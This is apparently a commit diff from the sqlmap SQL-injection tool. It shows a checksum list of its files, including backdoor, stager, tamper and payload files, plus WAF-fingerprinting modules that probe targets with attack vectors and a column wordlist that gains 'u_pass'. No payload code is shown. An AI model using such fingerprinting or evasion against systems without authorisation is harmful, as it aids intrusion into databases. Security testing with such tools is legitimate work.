9c0307881fae556521bec393956664b0 plugins/dbms/maxdb/connector.py
1f3f9d4c7ec62452ed2465cd9cf50aa1 plugins/dbms/maxdb/enumeration.py
ffd26f64142226d0b1ed1d70f7f294c0 plugins/dbms/maxdb/filesystem.py
9f9f1c4c4c3150545c4b61d1cffc76a8 plugins/dbms/maxdb/fingerprint.py
4321d7018f5121343460ebfd83bb69be plugins/dbms/maxdb/__init__.py
e7d44671ae26c0bcd5fe8448be070bbd plugins/dbms/maxdb/syntax.py
bf7842bb291e2297c3c8d1023eb3e550 plugins/dbms/maxdb/takeover.py
decc645344bb93aca504a71ba2e4cad4 plugins/dbms/mssqlserver/connector.py
5e1c7e578d07f3670bba5d88d856715d plugins/dbms/mssqlserver/connector.py
f1f1541a54faf67440179fa521f99849 plugins/dbms/mssqlserver/enumeration.py
65911fdc86fa6322e72319e6488a0bb8 plugins/dbms/mssqlserver/filesystem.py
08914da79141713bd69a25c3cc7f06a8 plugins/dbms/mssqlserver/fingerprint.py
6cf74341fc84588205e02b70b2f0f5b6 plugins/dbms/mssqlserver/fingerprint.py
f25c50a95e5390ecd32be5a011637349 plugins/dbms/mssqlserver/__init__.py
612be1929108e7b4512a49a4a3837bbc plugins/dbms/mssqlserver/syntax.py
3c0845fa526e1bb7bbe636fcfcbcc4a6 plugins/dbms/mssqlserver/takeover.py
f6e1f3f09f32b9cb2ca11c016d373423 plugins/dbms/mysql/connector.py
14bfa3960ed0b4bec2cd29800ec525b7 plugins/dbms/mysql/connector.py
445164daf59b890aeacc968af58fcb53 plugins/dbms/mysql/enumeration.py
4578fa29f04d0a75499f9668466ded07 plugins/dbms/mysql/filesystem.py
4e23494d0a8f41c22ec3861fb404e9f7 plugins/dbms/mysql/fingerprint.py
edec54520556a5eb66900fca697940ff plugins/dbms/mysql/filesystem.py
1c0175476b833a1b788550726be67c99 plugins/dbms/mysql/fingerprint.py
30065993f8300994e4658634121609e9 plugins/dbms/mysql/__init__.py
0e2adbee217f5b94dcc124d24b8dde99 plugins/dbms/mysql/syntax.py
403591e638b6bfdb840d52bd3138ee56 plugins/dbms/mysql/takeover.py
f772070dba85976a7894dac5046b93ea plugins/dbms/oracle/connector.py
e1ffee36fd18f33f34bb4bac4ae43f14 plugins/dbms/oracle/enumeration.py
c326b0d8bed92be67888b0242f565ac8 plugins/dbms/oracle/filesystem.py
538395c0e5ccb1b6befc17f129f45f29 plugins/dbms/oracle/fingerprint.py
85a5d474faaf14df5a5a84c9f232c1d6 plugins/dbms/oracle/fingerprint.py
9cbce3d3747c67f18e65f9c1eb910b0e plugins/dbms/oracle/__init__.py
5c2f1611c3ceface38a7e95650391ae6 plugins/dbms/oracle/syntax.py
bcdbd9c04d7d5a911e0e31abe1a24f0f plugins/dbms/oracle/takeover.py
f99c23db4ee6a6b8c0edbf684d360ad3 plugins/dbms/postgresql/connector.py
7cdb821884e5f15084d1bea7f8a50574 plugins/dbms/postgresql/enumeration.py
c8bb829d45752b98e6a03817b92e0fe5 plugins/dbms/postgresql/filesystem.py
d30806e39996e6d273f0af888f5710a4 plugins/dbms/postgresql/fingerprint.py
1449c89fa6dac9b62e814cc65233b9de plugins/dbms/postgresql/fingerprint.py
470860d3e85d11a67f2220bffaa415e7 plugins/dbms/postgresql/__init__.py
20e6f48f496348be45f3402ebc265dbb plugins/dbms/postgresql/syntax.py
1287acf330da86a93c8e64aff46e3b65 plugins/dbms/postgresql/takeover.py
80a2083a4fb7809d310c3d5ecc94e3c5 plugins/dbms/sqlite/connector.py
5194556e6b1575b1349f8ccfd773952b plugins/dbms/sqlite/enumeration.py
90fa97b84998a01dba7cc8c3329a1223 plugins/dbms/sqlite/filesystem.py
ed52c198f3346ceabdef676e9f5d3c0f plugins/dbms/sqlite/fingerprint.py
9b1f236857b8a64750e8662be21abb69 plugins/dbms/sqlite/fingerprint.py
f639120d42b33b6ca67930bddbf2ac1f plugins/dbms/sqlite/__init__.py
964e59d2eba619b068b0a15cea28efe0 plugins/dbms/sqlite/syntax.py
3364b2938d7040c507cd622c323557dc plugins/dbms/sqlite/takeover.py
9e64e67291a4c369bad8b8cf2cfa722a plugins/dbms/sybase/connector.py
426698152f63504061e5875e64957691 plugins/dbms/sybase/enumeration.py
4fe9ee0dfa50e9c46e6512128471cbee plugins/dbms/sybase/enumeration.py
74de450dd6d6d006aa9c7eed56e6b09a plugins/dbms/sybase/filesystem.py
c8ee0deaa2309e96d9a409ff1524f3ad plugins/dbms/sybase/fingerprint.py
0329ab09187614bea02398def59695ec plugins/dbms/sybase/fingerprint.py
a3db8618eed5bb2807b6f77605cba9cc plugins/dbms/sybase/__init__.py
36acb9a5966af21b32e8558b0d50653d plugins/dbms/sybase/syntax.py
79f6c7017db4ded8f74a0117188836ff plugins/dbms/sybase/takeover.py
34d181a7086d6dfc7e72ae5f8a4cfe0f plugins/generic/connector.py
e6cd1c5a5244d83396b401f7db43d323 plugins/generic/custom.py
156c227dbe765da3d0fd2976fbe18d8b plugins/generic/databases.py
4e2b366bb9cfdaaed719b219913357c6 plugins/generic/entries.py
bdc159cc5afb28cadd980c01c43ba669 plugins/generic/connector.py
ce6a6ff713852b5eca7b78316cc941c4 plugins/generic/custom.py
3d75e831574c750ed58e24eaa562c056 plugins/generic/databases.py
35546acab0eea406c23b84363df4d534 plugins/generic/entries.py
d82f2c78c1d4d7c6487e94fd3a68a908 plugins/generic/enumeration.py
0c8abe66a78edca0660bfb8049d109e2 plugins/generic/filesystem.py
0a67b8b46f69df7cfacc286b47a0d9a5 plugins/generic/filesystem.py
f5d5419efddfe04648ea5e953c650793 plugins/generic/fingerprint.py
1e5532ede194ac9c083891c2f02bca93 plugins/generic/__init__.py
f7874230e5661910d5fd21544c7d1022 plugins/generic/misc.py
b1d2a7f3170f9b69e71335aa47f9b08b plugins/generic/search.py
30b421f06dc98998ddc1923a9048b7fc plugins/generic/search.py
a70cc0ada4b0cc9e7df23cb6d48a4a0c plugins/generic/syntax.py
4adc07051b727f1525cf0a2d619221f8 plugins/generic/takeover.py
4419b13a4b78d7e9e4a2632302344a1a plugins/generic/users.py
f990d799e578dfbc3cde5728655a7854 plugins/generic/takeover.py
1265241e309da72bb82c3863a4c1b4bd plugins/generic/users.py
1e5532ede194ac9c083891c2f02bca93 plugins/__init__.py
5dc693e22f5d020c5c568d7325bd4226 shell/backdoors/backdoor.asp_
158bfa168128393dde8d6ed11fe9a1b8 shell/backdoors/backdoor.aspx_
@@ -225,8 +233,8 @@ ec2ba8c757ac96425dcd2b97970edd3a shell/stagers/stager.asp_
4e6d2094bd6afe35032fb8bc8a86e83c shell/stagers/stager.aspx_
0c48ddb1feb7e38a951ef05a0d48e032 shell/stagers/stager.jsp_
2f9e459a4cf6a58680978cdce5ff7971 shell/stagers/stager.php_
4eaeef94314956e4517e5310a28d579a sqlmapapi.py
a35b5b83c12841fdf3925190c9d24299 sqlmap.py
cd90da0474d7b1a67d7b40d208493375 sqlmapapi.py
fa713ca1dc1983f3cb3d90e76a05819a sqlmap.py
523dab9e1093eb59264c6beb366b255a tamper/0x2char.py
3a1697585ae4e7bf315e9dda97d6f321 tamper/apostrophemask.py
d7a119a74be9b385ee3884fb5e6af041 tamper/apostrophenullencode.py
@@ -253,18 +261,17 @@ ef0639557a79e57b06296c4bc223ebef tamper/htmlencode.py
1e5532ede194ac9c083891c2f02bca93 tamper/__init__.py
2dc49bcd6c55f4e2322b07fa92685356 tamper/least.py
40d1ea0796fd91cb3cdd602e36daed15 tamper/lowercase.py
a54b361da0ac6988d0b97bc79463615d tamper/luanginx.py
1c4d622d1c2c77fc3db1f8b3849467ee tamper/modsecurityversioned.py
f177a624c2cd3431c433769c6eb995e7 tamper/modsecurityzeroversioned.py
91b63afdb96b1d51c12a14cbd425d310 tamper/multiplespaces.py
efd1917c6ccc632f044084a30e0e0f98 tamper/nonrecursivereplacement.py
dcf3458f9010ca41bc4b56804f15792c tamper/overlongutf8more.py
a3a3cef042b864c4226b63f89548f939 tamper/overlongutf8.py
89f8753a0ef65d2bb860c8864e9e935a tamper/percentage.py
a47aafcbc1de2deb85160e29de46f748 tamper/plus2concat.py
759b86cf3bb1d7871dc6489538253f94 tamper/plus2fnconcat.py
078494e1217400b485ef653108d32699 tamper/randomcase.py
b9db4cc9fc4e0a586198340d1268fdaf tamper/randomcase.py
28626e4b8c673228dcfe4f1627a9e08b tamper/randomcomments.py
938bfac6e55a8823e4a66cd29166d980 tamper/securesphere.py
cac8a56f8cc6c14524ee392daa5ae2fd tamper/space2comment.py
4e6da2aca962b6110652e5f83dce5cd7 tamper/space2dash.py
7cdbae483262f66ef5d77521c59d9621 tamper/space2hash.py
@@ -277,15 +284,15 @@ b55ed15af74ffefc4dc303646c7c6482 tamper/space2mssqlblank.py
72a547bc3bf32dba0d1c3093988df8af tamper/space2plus.py
a74cd6375c5d5d253e2e7014b00ecd33 tamper/space2randomblank.py
93fc10b57586936cef05e88227c84ad0 tamper/sp_password.py
041cb567dff6bb6e7389e12ab3fb84c6 tamper/symboliclogical.py
690eb5200c9e61e54cd8952edaefda23 tamper/symboliclogical.py
6679c4ffb7322315a738dcfa68c6fb7c tamper/unionalltounion.py
51d20b5cb5a50fc2e44d39087f865d23 tamper/unmagicquotes.py
0a7e97374019321ffc606d41535f26d6 tamper/unmagicquotes.py
cc212839f55692d422beef3a8e22a8d4 tamper/uppercase.py
f2b9eac52d346315f5705f71beeda791 tamper/varnish.py
0e40966a51d1eb5d42a2159d2015a8a4 tamper/versionedkeywords.py
0fba004bf1be6edbefbda89f23f4e518 tamper/versionedmorekeywords.py
de532c4e3160039335010c499129d54f tamper/xforwardedfor.py
b25b47ddeeb62e5857fd5ad17fd454b5 thirdparty/ansistrm/ansistrm.py
d8279aa1633e2485ed751eb0361d1c8e tamper/xforwardedfor.py
b1c02296b4e3b0ebaa58b9dcd914cbf4 thirdparty/ansistrm/ansistrm.py
d41d8cd98f00b204e9800998ecf8427e thirdparty/ansistrm/__init__.py
8e775c25bc9e84891ad6fcb4f0005c23 thirdparty/beautifulsoup/beautifulsoup.py
cb2e1fe7c404dff41a2ae9132828f532 thirdparty/beautifulsoup/__init__.py
@@ -360,7 +367,7 @@ a7f735641c5b695f3d6220fe7c91b030 thirdparty/pydes/pyDes.py
d41d8cd98f00b204e9800998ecf8427e thirdparty/socks/__init__.py
afd97f26bffa0532ee4eb4f5f8ec1ab7 thirdparty/socks/socks.py
d41d8cd98f00b204e9800998ecf8427e thirdparty/termcolor/__init__.py
ea649aae139d8551af513769dd913dbf thirdparty/termcolor/termcolor.py
d97198005a387a9d23916c616620ef7f thirdparty/termcolor/termcolor.py
bf55909ad163b58236e44b86e8441b26 thirdparty/wininetpton/__init__.py
a44e7cf30f2189b2fbdb635b310cdc0c thirdparty/wininetpton/win_inet_pton.py
855372c870a23d46683f8aa39d75f6a1 thirdparty/xdot/__init__.py
@@ -390,37 +397,40 @@ d9006810684baf01ea33281d21522519 udf/postgresql/windows/32/8.3/lib_postgresqlud
ca3ab78d6ed53b7f2c07ed2530d47efd udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
0d3fe0293573a4453463a0fa5a081de1 udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
336d0b0d2be333f5a6184042c85464fd waf/360.py
667cacdcd4ba650c9a436f081a79cd64 waf/airlock.py
9bf2e07cdc54a661aea056223caccfb6 waf/aesecure.py
a73a40d201b39f3387714c59934331e4 waf/airlock.py
7da7970b45512b0233450dbd8088fde0 waf/anquanbao.py
b61329e8f8bdbf5625f9520ec010af1f waf/armor.py
dec64f18c23962d279cc1cde6469afed waf/asm.py
2fe5335fde7a7f5b19d2f363a55ce805 waf/asm.py
6ea7b4ff5f111acb0b24186ef82c3f2d waf/aws.py
ef722d062564def381b1f96f5faadee3 waf/baidu.py
07bc4b531d2353c9acfbfcada94ff12b waf/barracuda.py
82efee4639f7be75041c0145a6bc8578 waf/bigip.py
44f724ab7d333397975fecdf7e50be56 waf/bigip.py
6a2834daf767491d3331bd31e946d540 waf/binarysec.py
41e399dbfe7b904d5aacfb37d85e1fbf waf/blockdos.py
c52c6974c0dae6815f27cfdee6121d7b waf/chinacache.py
2f3bbf43be94d4e9ffe9f80e8483d62f waf/ciscoacexml.py
ba84f296cb52f5e78a0670b98d7763fa waf/cloudbric.py
feda0f2a5172325f39e8e3e38c45f73d waf/cloudflare.py
b16b1c15532103346d5e2f5b8bd1ed36 waf/cloudfront.py
a1d16d7106c9c66072aa58530c288515 waf/cloudflare.py
a8affab0838c6a1fe683d5b7333d7a69 waf/cloudfront.py
ac96f34c254951d301973617064eb1b5 waf/comodo.py
c84e515440fe482476c1f2687bd9960f waf/crawlprotect.py
56d58c982c2cf775e0f8dc6767f336fd waf/datapower.py
1538b661e35843074f4599be93b3fae9 waf/denyall.py
0182d23b34cf903537f77f4ec4b144bf waf/distil.py
67256152eef36a85498b49a1f0e4e328 waf/distil.py
aade02eb8f6a4a214a53db0fd0f2aae6 waf/dosarrest.py
357cbc0a17a44e4f64062b799c718e0b waf/dotdefender.py
9760a22990f55ab51ea4eedabd939055 waf/dotdefender.py
7ec3f2a90914b501100685aa66aadf02 waf/edgecast.py
954bebd4a246d8b88794de00ccaecd3b waf/expressionengine.py
a2ce6cde682f78e1fd561dc40611877e waf/fortiweb.py
eb56ac34775cc3c5f721ec967d04b283 waf/generic.py
ade1299c435db7b9e35cf1166ed9d859 waf/generic.py
1c70655551b8296ceeb19292a342e620 waf/hyperguard.py
2a52c09e4ce1f2a5976ce53b415ef496 waf/incapsula.py
0359ca07b6e3ee0e4505ad5bfaa1de79 waf/incapsula.py
1e5532ede194ac9c083891c2f02bca93 waf/__init__.py
30ae98958fb35061d9a4145cc74c0489 waf/isaserver.py
5a5c9452b9779bf39c208ebe26c98fdb waf/jiasule.py
898f53c12133da3e946301f4aa97d538 waf/knownsec.py
81e6bf619c7bb73c4b62e2439e60e95a waf/kona.py
15a50edd48961ea168648a370f42e123 waf/kona.py
b17a154fe7959619eaafffa60e14199f waf/modsecurity.py
d09a50713daf3c0a2594ed4f50c57adb waf/naxsi.py
bf573d01d56e585f4ad57132bc594934 waf/netcontinuum.py
@@ -447,33 +457,33 @@ dffa9cebad777308714aaf83b71635b4 waf/teros.py
b37210459a13de40bf07722c4d032c33 waf/trafficshield.py
fe01932df9acea7f6d23f03c6b698646 waf/urlscan.py
a687449cd4e45f69e33b13d41e021480 waf/uspses.py
f3a81da13ee098e94edd965ea4b37b04 waf/varnish.py
2d2740972d887d099e9cc8f132a8f147 waf/varnish.py
20840afc269920826deac2b6c00d6b9c waf/wallarm.py
11205abf397ae9072adc3234b656ade9 waf/watchguard.py
9bf34539f382987490d2239d8ef0a651 waf/webappsecure.py
5b1eefdc39d449a74fce0564364b0e09 waf/webknight.py
6802052ddae241e2f4f78974ed11904a waf/webknight.py
11a5c6b10ced11e505a74e36ee2503b3 waf/wordfence.py
68e332530fab216d017ede506c3fec2f waf/yundun.py
bea35ba732ccc9548e6c4023cea6832b waf/yunsuo.py
705ac8663513c12150cb5623ef4a04fb waf/zenedge.py
dc394c5b90ada0a5d5853b5ad1f7d56d xml/banner/generic.xml
47f8f6623841232a93c5229d6c1bebfe waf/zenedge.py
e68f399aeaa5b516f043af88dd4871a0 xml/banner/generic.xml
d8925c034263bf1b83e7d8e1c78eec57 xml/banner/mssql.xml
7b21aeb3ad66d7686eacd23a6346292c xml/banner/mysql.xml
9b262a617b06af56b1267987d694bf6f xml/banner/oracle.xml
c26cd4fa986ddc9f6d92dd87c8fc61cb xml/banner/postgresql.xml
4970709ca31bcaea5eb79547a132606a xml/banner/server.xml
5f8975d03665aad58c3ee8acea85b06b xml/banner/server.xml
d48c971769c6131e35bd52d2315a8d58 xml/banner/servlet-engine.xml
58be20a3b29a9108d043786907700469 xml/banner/set-cookie.xml
5fa1805d3007c68b051f2c70afcf41ed xml/banner/set-cookie.xml
d989813ee377252bca2103cea524c06b xml/banner/sharepoint.xml
350605448f049cd982554123a75f11e1 xml/banner/x-aspnet-version.xml
817078783e1edaa492773d3b34d8eef0 xml/banner/x-powered-by.xml
201b8bb7888f500294a9831bb47ce7a7 xml/boundaries.xml
0d0d4bd0e06c99dd8eb4f92acc25caf3 xml/errors.xml
ccb5e02a692f75d11b7fd00f1db48bf5 xml/banner/x-powered-by.xml
385570003bf7d84f2502191eae8268c6 xml/boundaries.xml
a676d93d413b07d36495201d88671253 xml/errors.xml
a279656ea3fcb85c727249b02f828383 xml/livetests.xml
3318571fac8df058f19ea85780606643 xml/payloads/boolean_blind.xml
b5b8b0aebce810e6cdda1b7106c96427 xml/payloads/error_based.xml
11547289b99eaced5b55185a3230529a xml/payloads/boolean_blind.xml
0656ba4132cd02477be90e65a7ddf6ce xml/payloads/error_based.xml
06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml
3194e2688a7576e1f877d5b137f7c260 xml/payloads/stacked_queries.xml
c2d8dd03db5a663e79eabb4495dd0723 xml/payloads/time_blind.xml
82c65823a0af3fccbecf37f1c75f0b29 xml/payloads/stacked_queries.xml
92c41925eba27afeed76bceba6b18be2 xml/payloads/time_blind.xml
ac649aff0e7db413e4937e446e398736 xml/payloads/union_query.xml
a5eecbca03800851635817e0ca832a92 xml/queries.xml
7bbf2a82593efffc68e8001299a5691f xml/queries.xml
+4
View File
@@ -2601,3 +2601,7 @@ waktu
# WebGoat
cookie
login_count
# Misc
u_pass
+291
View File
File diff suppressed because it is too large Load Diff
+22
View File
@@ -0,0 +1,22 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.settings import WAF_ATTACK_VECTORS
__product__ = "aeSecure (aeSecure)"
def detect(get_page):
retval = False
for vector in WAF_ATTACK_VECTORS:
page, headers, _ = get_page(get=vector)
retval = headers.get("aeSecure-code") is not None
retval |= all(_ in (page or "") for _ in ("aeSecure", "aesecure_denied.png"))
if retval:
break
return retval
+1 -1
View File
@@ -17,7 +17,7 @@ def detect(get_page):
for vector in WAF_ATTACK_VECTORS:
_, headers, _ = get_page(get=vector)
retval = re.search(r"\AAL[_-]?(SESS|LB)=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
retval = re.search(r"\AAL[_-]?(SESS|LB)", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
if retval:
break
+1
View File
@@ -15,6 +15,7 @@ def detect(get_page):
for vector in WAF_ATTACK_VECTORS:
page, _, _ = get_page(get=vector)
retval = "The requested URL was rejected. Please consult with your administrator." in (page or "")
retval |= all(_ in (page or "") for _ in ("This page can't be displayed. Contact support for additional information", "The incident ID is:"))
if retval:
break
+1 -1
View File
@@ -19,7 +19,7 @@ def detect(get_page):
_, headers, code = get_page(get=vector)
retval = headers.get("X-Cnection", "").lower() == "close"
retval |= headers.get("X-WA-Info") is not None
retval |= re.search(r"\ATS\w{4,}=", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
retval |= re.search(r"\bTS[0-9a-f]+=", headers.get(HTTP_HEADER.SET_COOKIE, "")) is not None
retval |= re.search(r"BigIP|BIGipServer", headers.get(HTTP_HEADER.SET_COOKIE, ""), re.I) is not None
retval |= re.search(r"BigIP|BIGipServer", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None
retval |= re.search(r"\AF5\Z", headers.get(HTTP_HEADER.SERVER, ""), re.I) is not None

Some files were not shown because too many files have changed in this diff Show More